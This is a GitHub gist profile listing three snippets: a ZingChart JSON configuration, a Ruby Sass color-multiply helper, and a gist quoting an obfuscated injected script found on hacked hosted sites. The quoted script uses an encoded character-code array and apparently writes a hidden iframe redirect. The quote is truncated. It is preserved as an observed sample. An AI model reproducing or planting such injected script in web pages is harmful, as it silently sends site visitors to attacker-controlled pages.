Skip to content

Instantly share code, notes, and snippets.

View emptyflask's full-sized avatar

Jon Roberts emptyflask

View GitHub Profile
@emptyflask
emptyflask / hack-example.coffee
Created June 3, 2012 22:00
someone's stupid redirect hack
# This was the latest piece of code to affect sites hosted here:
# <script>i=0;try{prototype;}catch(z){h="harCode";f=['-33c-33c63c60c-10c-2c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c-1c81c-29c-33c-33c-33c63c60c72c55c67c59c72c-2c-1c17c-29c-33c-33c83c-10c59c66c73c59c-10c81c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c77c72c63c74c59c-2c-8c18c63c60c72c55c67c59c-10c73c72c57c19c-3c62c74c74c70c16c5c5c64c55c76c66c70c72c68c63c4c58c58c68c73c4c68c55c67c59c5c73c74c58c73c5c61c69c4c70c62c70c21c73c63c58c19c7c-3c-10c77c63c58c74c62c19c-3c7c6c-3c-10c62c59c63c61c62c74c19c-3c7c6c-3c-10c73c74c79c66c59c19c-3c76c63c73c63c56c63c66c63c74c79c16c62c63c58c58c59c68c17c70c69c73c63c74c63c69c68c16c55c56c73c69c66c75c74c59c17c66c59c60c74c16c6c17c74c69c70c16c6c17c-3c20c18c5c63c60c72c55c67c59c20c-8c-1c17c-29c-33c-33c83c-29c-33c-33c60c75c68c57c74c63c69c68c-10c63c60c72c55c67c59c72c-2c-1c81c-29c-33c-33c-33c76c55c72c-10c60c-10c19c-10c58c69c57c75c67c59c68c74c4c57c72c59c55c74c59
@emptyflask
emptyflask / adv_daily.json
Created April 1, 2011 16:15
ZingChart themes/defaultsurl not working?
{
"graphset":[
{
"scale-x":{
"zooming":1,
"values":["2011-02-25","2011-02-26","2011-02-27","2011-02-28","2011-03-01","2011-03-02","2011-03-03","2011-03-04","2011-03-05","2011-03-06","2011-03-07","2011-03-08","2011-03-09","2011-03-10","2011-03-11","2011-03-12","2011-03-13","2011-03-14","2011-03-15","2011-03-16","2011-03-17","2011-03-18","2011-03-19","2011-03-20","2011-03-21","2011-03-22","2011-03-23","2011-03-24"]
},
"scale-y":{
"text":"Client Nondefault Impressions"
},
@emptyflask
emptyflask / sass_multiply.rb
Created June 18, 2010 18:04
SASS mult() function
module Sass::Script::Functions
def mult(color1, color2)
c1 = color1.rgb.map { |c| c / 255.0 }
c2 = color2.rgb.map { |c| c / 255.0 }
Sass::Script::Color.new(c1.zip(c2).map { |a,b| (a*b*255).to_i })
end
end